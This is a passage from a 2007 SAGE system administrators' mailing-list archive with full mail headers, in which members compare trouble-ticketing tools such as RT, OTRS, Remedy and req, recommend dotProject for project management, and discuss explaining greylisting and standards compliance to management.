with it. 

Since I started using it I have had very little maintenance. It sort of
runs by itself. Biggest problem I have encountered is getting users to 
use the email interface for Trouble calls and get myself more
disciplined to using it when phone call requests come in.

John J. Boris, Sr.
JEN-A-SyS Administrator
Archdiocese of Philadelphia
222 North 17th Street
Philadelphia, Pa. 19103
Tel: 215-965-1714
Fax: 215-587-3525
"Remember! That light at the end of the tunnel
Just might be the headlight of an oncoming train!"
>>> The Anarcat <anarcat@anarcat.ath.cx> 03/02/07 11:09 PM >>>
On Fri, Mar 02, 2007 at 01:42:16PM -0500, Bryan Fullerton wrote:
> John Stoffel wrote:
> >Another really interesting product is OTRS, which is from Germany.
> >Looks good.
> 
> I've used OTRS since 2002 for my small hosting company. I like it
enough 
> that I haven't looked for alternatives in 5 years, and contribute back

> as much time to the project as I can.

If no one would have mentionned OTRS, I would have, but since you guys
did, let me mention here that we ditched OTRS in favour of RT recently.
Never been happier. OTRS was quite problematic with french charsets
(which we use extensively) and I had trouble getting it to work properly
with email, something RT does marvelously, with GPG authentification if
you want.

> >Using a web browser just slows things down, esp for people who use
the
> >tool day in and day out.  You need to optimize for both the new user,
> >but also for the power user, since inefficiencies in interface add up
> >much more quickly for the power user who works with a tool all the
> >time.
> 
> Perhaps they assume that a power user could (would want to?) write
their 
> own scripts, given the examples provided with the system.

One of the things that makes me love RT is the email integration: with
it, I can manipulate most ticket through a few mail commands, without
ever having to fire up a web browser.

It's very useful when you want to "brain dump" issues in the tracker, as
is often the case when you inherit crappy architecture or find a bunch
of problems together...

All that said, I still think OTRS is a pretty good product, but it's not
as solid, mature and widespread as RT.

(One neat thing we were able to do easily with OTRS was integration with
our pgsql customer database, which I haven't had time to figure out in
RT.)

A.



From sage-members-owner@usenix.org Sat Mar  3 16:02:33 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2402OYZ019040
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sat, 3 Mar 2007 16:02:30 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2402Oru019039
	for sage-members-0utGoign; Sat, 3 Mar 2007 16:02:24 -0800 (PST)
Received: from an-out-0708.google.com (an-out-0708.google.com [209.85.132.244])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2401wxv019032
	for <sage-members@sage.org>; Sat, 3 Mar 2007 16:02:08 -0800 (PST)
Received: by an-out-0708.google.com with SMTP id d23so1003353and
	for <sage-members@sage.org>; Sat, 03 Mar 2007 16:01:58 -0800 (PST)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=cYCsTPp13JmnzqyV5hY7Egg+crxH0ZS0Uj83p5lpvwigAG48gzIV4GK5JpXHRx3CO8WPlirT/R0sgIXrDzTXuunoyIgXgBPpUlNWSvhe1dXJgVaBvYXqEKg4bxMzjPtdurChsBz9e+SdQMLrhvwSiCE9drziF7pxW8S1sGcwcnk=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=tmdR0M449MvWGy24/xMnwwPtUDDXB/XIzwzfXM2A5jUhvwttF7pJlPh+ZNmw9YF2c7hPeYod4e4DP5rv099YVLWw2WEnRR+h0B86kzKzqHfdelYqhN1BM7xhmR/H7DbqZ0TlsbhkC/rJ+VaVvTm1dy+4Lwhwp65l+7mLh6LQIm4=
Received: by 10.114.56.1 with SMTP id e1mr751151waa.1172966517460;
	Sat, 03 Mar 2007 16:01:57 -0800 (PST)
Received: by 10.114.27.10 with HTTP; Sat, 3 Mar 2007 16:01:57 -0800 (PST)
Message-ID: <6b8cee7e0703031601id1eda89xbd5d333f3d624ab0@mail.gmail.com>
Date: Sun, 4 Mar 2007 11:01:57 +1100
From: "Peter Edmonds" <termx23@gmail.com>
To: "Etaoin Shrdlu" <shrdlu@deaddrop.org>
Subject: Re: [SAGE] Web-based project management
Cc: sage-members@sage.org
In-Reply-To: <45E9A098.9000409@deaddrop.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <45E98E08.3010702@negate.org> <45E9A098.9000409@deaddrop.org>
X-DCC--Metrics: voyager 104; Body=1 Fuz1=1 Fuz2=1 rep=5%
Sender: owner-sage-members@usenix.org
Precedence: bulk

> Jonathan Billings wrote:
>
> > The recent thread about ticketing systems reminded me that I've been
> > looking for a good, open source project management system, web-based
> > preferably.  I've been looking at some Joomla modules, and next on my
> > list is phpprojekt.
> >
> > What would people suggest?

www.dotproject.net

Quote: "dotProject is built using free open-source applications and is
produced and maintained by a small, but dedicated group of volunteers.
dotProject is programmed in PHP, and utilises MySQL for a backend
database (although other databases such as Postgres could also be
used). Our recommended server platform includes Apache 1.3.27, PHP
4.2+, and MySQL. In the spirit of free, peer-reviewed, open source
application development, we would also encourage you to use an
operating system such as Linux, FreeBSD, or OpenBSD. However,
additional operating systems such as Windows, Mac, and other flavours
of *nix are also supported. "

I have used dotproject in the past. I found it to be very good and
well supported via the website forum.

Peter


From sage-members-owner@usenix.org Sat Mar  3 21:34:33 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l245YRiH023279
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sat, 3 Mar 2007 21:34:32 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l245YRO4023278
	for sage-members-0utGoign; Sat, 3 Mar 2007 21:34:27 -0800 (PST)
Received: from vega.opentrend.net (vega.opentrend.net [65.39.131.100])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l245Y1Xe023264
	for <sage-members@usenix.org>; Sat, 3 Mar 2007 21:34:11 -0800 (PST)
Received: from localhost (localhost.localdomain [127.0.0.1])
	by vega.opentrend.net (Postfix) with ESMTP id 9EEA55800EE7
	for <sage-members@usenix.org>; Sun,  4 Mar 2007 00:05:48 -0500 (EST)
Received: from vega.opentrend.net ([127.0.0.1])
	by localhost (vega [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 16735-10 for <sage-members@usenix.org>;
	Sun, 4 Mar 2007 00:05:47 -0500 (EST)
Received: from mimosa.opentrend.net (mimosa.opentrend.net [192.168.120.11])
	by vega.opentrend.net (Postfix) with ESMTP id 18C495800790
	for <sage-members@usenix.org>; Sun,  4 Mar 2007 00:05:41 -0500 (EST)
Received: by mimosa.opentrend.net (Postfix, from userid 1000)
	id 949161C000AA; Sun,  4 Mar 2007 00:05:40 -0500 (EST)
Received: from localhost (localhost [127.0.0.1])
	by mimosa.opentrend.net (Postfix) with ESMTP id 8DE251C0008A
	for <sage-members@usenix.org>; Sun,  4 Mar 2007 00:05:40 -0500 (EST)
Date: Sun, 4 Mar 2007 00:05:40 -0500 (EST)
From: Robert Brockway <rbrockway@opentrend.net>
To: SAGE Members List <sage-members@usenix.org>
Subject: [SAGE] Re: [SAGE-AU-TECH] SUMMARY: Greylisting and broken servers
In-Reply-To: <20070302091654.GA19617@vanilla.office.cyber.com.au>
Message-ID: <Pine.LNX.4.64.0703032355370.7673@mimosa.opentrend.net>
References: <20070302091654.GA19617@vanilla.office.cyber.com.au>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at opentrend.net
X-DCC--Metrics: voyager 1356; Body=0 Fuz1=0 Fuz2=0
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Fri, 2 Mar 2007, Richard Muirden wrote:

> In the end when the boss started getting complaints, and then the
> director (typical) we turned off Greylisting. The odd thing is that

When facing this sort of thing I think it is important to write a very 
plain report to management explaining why Greylisting was in use and also 
explaining that you are being standards compliant and it is the remote 
sites that are not.  You can back this up with references although 
they probably won't be looked at.  This isn't about CYA, it is about 
explaining the situation in plain terms.

Of course the term "standards compliance" is not something which is 
meaningful to a lot of people (even some sysadmins) so I explain it this 
way:

"The Internet is an amazing development.  The Internet only operates as 
well as it does, and has operated for as long as it has, because it 
operates on well defined and open standards.  It is these standards that 
allow totally dissimilar systems to interoperate on the Internet.  This is 
one of the things that distinguishes the Internet from many of the 
networks which came before it.

Each time we allow a non-standards compliant system to get its way, the 
Internet works just a little less well then it did before.  The more 
standards violations that occur the more annoying problems end users can 
expect to see.  This has the potential to be very damaging to the Internet 
in the long run, which will only make life harder for all users."

Cheers,

Rob

-- 
Robert Brockway B.Sc.        Phone:          +1-905-821-2327
Senior Technical Consultant  Urgent Support: +1-416-669-3073
OpenTrend Solutions Ltd      Email:          support@opentrend.net
                              Web:            www.opentrend.net
Contributing Member of Software in the Public Interest


From sage-members-owner@usenix.org Sun Mar  4 08:26:41 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l24GQeHn012485
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sun, 4 Mar 2007 08:26:41 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l24GQeBA012484
	for sage-members-0utGoign; Sun, 4 Mar 2007 08:26:40 -0800 (PST)
Received: from smtp104.sbc.mail.re2.yahoo.com (smtp104.sbc.mail.re2.yahoo.com
	[68.142.229.101])
	by usenix.org (8.13.6/8.13.6) with SMTP id l24GQEQI012477
	for <sage-members@usenix.org>; Sun, 4 Mar 2007 08:26:24 -0800 (PST)
Received: (qmail 69628 invoked from network); 4 Mar 2007 16:26:05 -0000
Received: from unknown (HELO ?172.16.1.34?)
	(stuartk-eml@sbcglobal.net@70.229.208.204 with plain)
	by smtp104.sbc.mail.re2.yahoo.com with SMTP; 4 Mar 2007 16:26:04 -0000
X-YMail-OSG: a7MKN6gVM1l9Jfw4YVXsVbU23lmbp0TkR5BqB57pV7fJ91WmC9AWdGbPQoGGUITaXKfx_Y.y7.bkc8tOi4WwERCqBiLlTkBkmm9enmQe6.PManIMEBqS8VI1Vh3ZlLHu.7pNM4uzFraAuVM-
Message-ID: <45EAF38C.1020602@krivis.com>
Date: Sun, 04 Mar 2007 11:27:56 -0500
From: Stuart Krivis <stuart@krivis.com>
Reply-To: stuart@krivis.com
Organization: Yoyodyne Propulsion Systems
User-Agent: Thunderbird 1.5.0.10 (Windows/20070221)
MIME-Version: 1.0
To: sage-members@usenix.org
Subject: Re: [SAGE] Web-based project management
References: <45E98E08.3010702@negate.org> <45E9A098.9000409@deaddrop.org>
	<6b8cee7e0703031601id1eda89xbd5d333f3d624ab0@mail.gmail.com>
In-Reply-To: <6b8cee7e0703031601id1eda89xbd5d333f3d624ab0@mail.gmail.com>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-DCC--Metrics: voyager 104; Body=1 Fuz1=1 Fuz2=1 rep=7%
Sender: owner-sage-members@usenix.org
Precedence: bulk

Peter Edmonds wrote:
>> Jonathan Billings wrote:
>>
>> > The recent thread about ticketing systems reminded me that I've been
>> > looking for a good, open source project management system, web-based
>> > preferably.  I've been looking at some Joomla modules, and next on my
>> > list is phpprojekt.
>> >
>> > What would people suggest?
> 
> www.dotproject.net
> 
> Quote: "dotProject is built using free open-source applications and is
> produced and maintained by a small, but dedicated group of volunteers.
> dotProject is programmed in PHP, and utilises MySQL for a backend
> database (although other databases such as Postgres could also be
> used). Our recommended server platform includes Apache 1.3.27, PHP
> 4.2+, and MySQL. In the spirit of free, peer-reviewed, open source
> application development, we would also encourage you to use an
> operating system such as Linux, FreeBSD, or OpenBSD. However,
> additional operating systems such as Windows, Mac, and other flavours
> of *nix are also supported. "
> 
> I have used dotproject in the past. I found it to be very good and
> well supported via the website forum.
> 

This would be my choice as well.







From sage-members-owner@usenix.org Sun Mar  4 09:00:17 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l24H0GIS013235
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sun, 4 Mar 2007 09:00:16 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l24H0FZx013234
	for sage-members-0utGoign; Sun, 4 Mar 2007 09:00:16 -0800 (PST)
Received: from mail841.megamailservers.com
	(mail841.carrierinternetsolutions.com [69.49.106.51])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l24H04Y8013225
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@sage.org>; Sun, 4 Mar 2007 09:00:10 -0800 (PST)
X-Authenticated-User: leonvs.covad.net
Received: from [192.168.1.4] (h-66-167-140-138.sttnwaho.dynamic.covad.net
	[66.167.140.138]) (authenticated bits=0)
	by mail841.megamailservers.com (8.13.6.20060614/8.13.1) with ESMTP id
	l24GroAG030513; Sun, 4 Mar 2007 11:53:52 -0500
In-Reply-To: <20070302135433.C16820@gecko.reptiles.org>
References: <82wt1zevjz.fsf@clanspum.net>
	<20070302185116.GB29618@watson-wilson.ca>
	<20070302135433.C16820@gecko.reptiles.org>
Mime-Version: 1.0 (Apple Message framework v624)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <f2f28cf00677a5c44237274f6690198c@occam.com>
Content-Transfer-Encoding: 7bit
Cc: SAGE mailing list <sage-members@sage.org>
From: Leon Towns-von Stauber <leonvs@occam.com>
Subject: Re: [SAGE] work ticket systems
Date: Sun, 4 Mar 2007 08:53:30 -0800
To: Cat Okita <cat@reptiles.org>
X-Mailer: Apple Mail (2.624)
X-DCC--Metrics: voyager 104; Body=1 Fuz1=1 Fuz2=1 rep=2%
Sender: owner-sage-members@usenix.org
Precedence: bulk

> I may not be especially fond of Remedy, OVSD, or Clarify, but they are
> solving problems for enough customers to keep the companies doing quite
> well.

I don't know about that. Not that they're doing decent business,
but that they solve real problems for customers. I've had to work
with multiple Clarify-, Remedy-, and OpenView-based deployments
over the years, and I've still never used anything better than
req for trouble ticketing. (The last time I was able to use a
non-"enterprise" application was 1997, so I've never tried RT.)

Enterprises get caught up in the feature lists of these mammoth
enterprise apps, but never (IME, at least) end up using many of
those features, and *never* actually need them. They plan to
integrate ticketing into some all-knowing inventory/change/etc.
management system uber alles, but it takes so much effort just
to get basic functionality going and supported that they never
get there. Meanwhile, you're stuck with a horrendously bloated,
slow, complicated ticketing system that everybody hates, with
problem and solution categories that make sense to no one except
maybe someone on the application administration staff the company
has to hire just to get anything working. And then you're lucky
if you have a full-text search available at all, not to mention
one that actually works well.

How many times I've wished I could go back to simple, reliable,
and eminently useful req....

_____________________________________________________________
Leon Towns-von Stauber          http://www.occam.com/leonvs/
"We have not come to save you, but you will not die in vain!"



From sage-members-owner@usenix.org Sun Mar  4 09:24:41 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l24HOeYf013800
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sun, 4 Mar 2007 09:24:41 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l24HOeC3013799
	for sage-members-0utGoign; Sun, 4 Mar 2007 09:24:40 -0800 (PST)
Received: from mailbox.reptiles.org (rootgecko.reptiles.org@mail.reptiles.org
	[198.96.210.227])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l24HOE96013788
	for <sage-members@sage.org>; Sun, 4 Mar 2007 09:24:25 -0800 (PST)
Received: from www.reptiles.org ([198.96.210.227] port=51849)
	by mailbox.reptiles.org([198.96.210.227] port=25)
	via TCP with esmtp (3247 bytes) (sender: <cat@reptiles.org>)
	(ident <nobody> using UNIX) id <m1HNuRJ-00DwlTC@mailbox.reptiles.org>
	for <sage-members@sage.org>; Sun, 4 Mar 2007 12:24:05 -0500 (EST)
	(Smail-3.2.0.121 2005-Nov-17 #4 built 2006-Nov-28)
Date: Sun, 4 Mar 2007 12:24:04 -0500 (EST)
From: Cat Okita <cat@reptiles.org>
To: Leon Towns-von Stauber <leonvs@occam.com>
cc: SAGE mailing list <sage-members@sage.org>
Subject: Re: [SAGE] work ticket systems
In-Reply-To: <f2f28cf00677a5c44237274f6690198c@occam.com>
Message-ID: <20070304121957.B16820@gecko.reptiles.org>
References: <82wt1zevjz.fsf@clanspum.net>
	<20070302185116.GB29618@watson-wilson.ca>
	<20070302135433.C16820@gecko.reptiles.org>
	<f2f28cf00677a5c44237274f6690198c@occam.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
X-DCC--Metrics: voyager 104; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Sun, 4 Mar 2007, Leon Towns-von Stauber wrote:
> I don't know about that. Not that they're doing decent business,
> but that they solve real problems for customers. I've had to work
> with multiple Clarify-, Remedy-, and OpenView-based deployments
> over the years, and I've still never used anything better than
> req for trouble ticketing. (The last time I was able to use a
> non-"enterprise" application was 1997, so I've never tried RT.)

I'm going to ask what "better" means, here.  The rest of my post,
which you (thank you ;>) trimmed, included comments about things 
that become an issue when you start talking about high volumes
and large scale operations.

req has serious scale issues, to my recollection - and wasn't really
designed around worldwide organizations, and millions of tickets
and items.

> Enterprises get caught up in the feature lists of these mammoth
> enterprise apps, but never (IME, at least) end up using many of
> those features, and *never* actually need them. They plan to
> integrate ticketing into some all-knowing inventory/change/etc.
> management system uber alles, but it takes so much effort just
> to get basic functionality going and supported that they never
> get there. Meanwhile, you're stuck with a horrendously bloated,
> slow, complicated ticketing system that everybody hates, with
> problem and solution categories that make sense to no one except
> maybe someone on the application administration staff the company
> has to hire just to get anything working. And then you're lucky
> if you have a full-text search available at all, not to mention
> one that actually works well.

I'll cheerfully say that I don't at all like the system that I'm stuck
with now.  It's awkward, universally hated - but still manages to
handle millions of tickets, plus inventory, change management, process
tracking, and alerting on a reliable basis.

That said, if you buy one of these enterprise scale apps, you'd better
have bought staff to go along with it.  It's presumed that you'll need
to customize to your environment and processes - even more so than with
the smaller scale apps.

cheers!
==========================================================================
"A cat spends her life conflicted between a deep, passionate and profound
desire for fish and an equally deep, passionate and profound desire to
avoid getting wet.  This is the defining metaphor of my life right now."


From sage-members-owner@usenix.org Sun Mar  4 09:29:26 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l24HTPU8014058
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sun, 4 Mar 2007 09:29:25 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l24HTPfA014057
	for sage-members-0utGoign; Sun, 4 Mar 2007 09:29:25 -0800 (PST)
Received: from mailbox.reptiles.org (rootgecko.reptiles.org@mail.reptiles.org
	[198.96.210.227])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l24HTGJn014048
	for <sage-members@sage.org>; Sun, 4 Mar 2007 09:29:23 -0800 (PST)
Received: from skink.reptiles.org ([198.96.210.227] port=64698)
	by mailbox.reptiles.org([198.96.210.227] port=25)
	via TCP with esmtp (2295 bytes) (sender: <cat@reptiles.org>)
	(ident <nobody> using UNIX) id <m1HNuWK-00DwlcC@mailbox.reptiles.org>
	for <sage-members@sage.org>; Sun, 4 Mar 2007 12:29:16 -0500 (EST)
	(Smail-3.2.0.121 2005-Nov-17 #4 built 2006-Nov-28)
Date: Sun, 4 Mar 2007 12:29:15 -0500 (EST)
From: Cat Okita <cat@reptiles.org>
To: Neil Watson <sage@watson-wilson.ca>
cc: sage-members@sage.org
Subject: Re: [SAGE] work ticket systems
In-Reply-To: <20070302191517.GD29618@watson-wilson.ca>
Message-ID: <20070304122418.T16820@gecko.reptiles.org>
References: <82wt1zevjz.fsf@clanspum.net>
	<20070302185116.GB29618@watson-wilson.ca>
	<20070302135433.C16820@gecko.reptiles.org>
	<20070302191517.GD29618@watson-wilson.ca>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
X-DCC--Metrics: voyager 104; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Fri, 2 Mar 2007, Neil Watson wrote:
> Neither.  I am this crazy on my own ;).  I would argue that ticketing
> systems are like Office.  You only need 10% of the application to do 90%
> of your work.  Do some companies have a long list of exotic features
> they see as a requirement?  Certainly there are exceptions.  Other
> features you mention (HA, redundancy and backups) have little to do with
> the application.  That is all controlled by outside objects (load
> balancers, clustering applications, backup software, suitable hardware).

I'm absolutely boggled at your last few sentences.  HA, redundancy and
backups are by no means external to the application.  Keeping state[0],
having your data in memory (instead of on disk, where you might be able
to back it up), being able to run as one-of-many - all of these are
decidedly application design issues.  You can mitigate them with outside
objects, certainly - but applications that weren't designed with HA,
redundancy and the ability to be backed up[1] on the fly are problems
in certain environments.

cheers!
[0] Two small words that cover a world of hurt.
[1] It's always fun having an app that has to be shut down in order to be
backed up...
==========================================================================
"A cat spends her life conflicted between a deep, passionate and profound
desire for fish and an equally deep, passionate and profound desire to
avoid getting wet.  This is the defining metaphor of my life right now."


From sage-members-owner@usenix.org Sun Mar  4 15:18:01 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l24NHrOd019151
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sun, 4 Mar 2007 15:17:58 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l24NHrdR019150
	for sage-members-0utGoign; Sun, 4 Mar 2007 15:17:53 -0800 (PST)
Received: from mail.puryear-it.com ([72.242.176.166])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l24NHAI7019133
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Sun, 4 Mar 2007 15:17:21 -0800 (PST)
Received: from mail.puryear-it.com (localhost.localdomain [127.0.0.1])
	by mail.puryear-it.com (8.13.1/8.13.1) with ESMTP id l24NGrIe015651;
	Sun, 4 Mar 2007 17:16:53 -0600
Received: from mail.puryear-it.com (root@localhost)
	by mail.puryear-it.com (8.13.1/8.13.1/Submit) with ESMTP id
	l24NGoXk015646; Sun, 4 Mar 2007 17:16:53 -0600
Received: from localhost ( 192.168.222.35)
	by mail.puryear-it.com (Scalix SMTP Relay 10.0.1.3)
	via ESMTP; Sun, 04 Mar 2007 17:16:50 -0600 (CST)
Date: Sun, 4 Mar 2007 17:16:49 -0600
From: "Dustin Puryear" <dustin@puryear-it.com>
Reply-To: "Dustin Puryear" <dustin@puryear-it.com>
To: Stuart Krivis <stuart@krivis.com>
cc: sage-members@usenix.org
Message-ID: <577426275.20070304171649@puryear-it.com>
In-Reply-To: <45EAF38C.1020602@krivis.com>
References: <45E98E08.3010702@negate.org>
References: <45E9A098.9000409@deaddrop.org>
References: <6b8cee7e0703031601id1eda89xbd5d333f3d624ab0@mail.gmail.com>
References: <45EAF38C.1020602@krivis.com>
Subject: Re[2]: [SAGE] Web-based project management
X-Priority: 3 (Normal)
x-scalix-Hops: 1
X-Mailer: The Bat! (v3.80.06) Professional
Organization: Puryear Information Technology, LLC
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Disposition: inline
X-Spam-Status: No, score=1.9 required=5.0 tests=BAYES_50, FORGED_MUA_THEBAT_CS 
	autolearn=no version=3.0.5
X-Spam-Level: *
X-Spam-Checker-Version: SpamAssassin 3.0.5 (2005-11-28) on mail.puryear-it.com
X-DCC-dcc.uncw.edu-Metrics: voyager 1201; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

Us too. Actually, we liked dotProject enough that we have sponsored
some upgrades to it. Examples include file attachment support for
dotProject Help Desk, multi-level file attachments, and Project
Designer. Frankly, without Project Designer dotProject can be a tad
painful to use when creating or managing tasks, but now it's a breeze.
All this also shows how easily you can support an open source project
like dotProject and get it altered to your taste.

---
Puryear Information Technology, LLC
Baton Rouge, LA * 225-706-8414
http://www.puryear-it.com

Author:
  "Best Practices for Managing Linux and UNIX Servers"
  "Spam Fighting and Email Security in the 21st Century"

Download your free copies:
  http://www.puryear-it.com/publications.htm


Sunday, March 4, 2007, 10:27:56 AM, you wrote:

> Peter Edmonds wrote:
>>> Jonathan Billings wrote:
>>>
>>> > The recent thread about ticketing systems reminded me that I've been
>>> > looking for a good, open source project management system, web-based
>>> > preferably.  I've been looking at some Joomla modules, and next on my
>>> > list is phpprojekt.
>>> >
>>> > What would people suggest?
>> 
>> www.dotproject.net
>> 
>> Quote: "dotProject is built using free open-source applications and is
>> produced and maintained by a small, but dedicated group of volunteers.
>> dotProject is programmed in PHP, and utilises MySQL for a backend
>> database (although other databases such as Postgres could also be
>> used). Our recommended server platform includes Apache 1.3.27, PHP
>> 4.2+, and MySQL. In the spirit of free, peer-reviewed, open source
>> application development, we would also encourage you to use an
>> operating system such as Linux, FreeBSD, or OpenBSD. However,
>> additional operating systems such as Windows, Mac, and other flavours
>> of *nix are also supported. "
>> 
>> I have used dotproject in the past. I found it to be very good and
>> well supported via the website forum.
>> 

> This would be my choice as well.







From sage-members-owner@usenix.org Sun Mar  4 17:38:41 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l251ce1Y021646
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sun, 4 Mar 2007 17:38:40 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l251ce7F021645
	for sage-members-0utGoign; Sun, 4 Mar 2007 17:38:40 -0800 (PST)
Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.174])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l251c029021625
	for <sage-members@usenix.org>; Sun, 4 Mar 2007 17:38:11 -0800 (PST)
Received: by ug-out-1314.google.com with SMTP id 32so1155817ugm
	for <sage-members@usenix.org>; Sun, 04 Mar 2007 17:37:56 -0800 (PST)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=O3ZXptmvV9gxqWuGSSzhpAtnVr/pwbMOk2gEr2tIgj3gjDfVMRAtU8AmmeMtBPD1yQGN30/MP9gsvU32MfbldwzYo3MK9Ln/Ry7fxgy/sE/JlurLXpyotMo8pPTjhLYttAcQWOcLR43B/6R7bhRgsGRiXDskYHJYwunuPwWSFPM=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=SFa6LwtvFeKVDv3Py7bKGfLskvmliLF1hU16XRQSewG69FO0y1j47v3ip5ayk8gdQsuX5tRd3hfNYaS1OP/f6of78vOp8MfhrDJAbiQ6Vq41u8ofHAhmk3QAsU8dSoa5AjUbjIlunf8+dBve0vR8wlBGkBEgARd8WUMnLtqRauc=
Received: by 10.67.28.4 with SMTP id f4mr9354716ugj.1173058676552;
	Sun, 04 Mar 2007 17:37:56 -0800 (PST)
Received: by 10.49.42.14 with HTTP; Sun, 4 Mar 2007 17:37:56 -0800 (PST)
Message-ID: <ea5125c10703041737l986ebc9r95bda84f1daa2d73@mail.gmail.com>
Date: Sun, 4 Mar 2007 20:37:56 -0500
From: "Greg Chavez" <greg.chavez@gmail.com>
To: sage-members@usenix.org
Subject: Re: [SAGE] Web-based project management
In-Reply-To: <577426275.20070304171649@puryear-it.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <45EAF38C.1020602@krivis.com>
	<577426275.20070304171649@puryear-it.com>
X-DCC-dcc.uncw.edu-Metrics: voyager 1201; Body=1 Fuz1=1 Fuz2=1 rep=7%
Sender: owner-sage-members@usenix.org
Precedence: bulk

On 3/4/07, Dustin Puryear <dustin@puryear-it.com> wrote:
> Us too. Actually, we liked dotProject enough that we have sponsored
> some upgrades to it. Examples include file attachment support for
> dotProject Help Desk, multi-level file attachments, and Project
> Designer. Frankly, without Project Designer dotProject can be a tad
> painful to use when creating or managing tasks, but now it's a breeze.
> All this also shows how easily you can support an open source project
> like dotProject and get it altered to your taste.

I have used dotProject for a couple of years now and was intrigued by
news of this plugin.  After googling for it, however, I was treated to
a double dose of good news: a new wiki for dotProject documentation.
The old doc site was atrocious; I look forward to seeing how this
fleshes itself out.

>From my perspective, solid documentation was the last thing missing
from the dotProject project.  Everything else about it speaks to what
is best in open software: a responsive development team, an active
user community, a pay-option for the technically or time challenged,
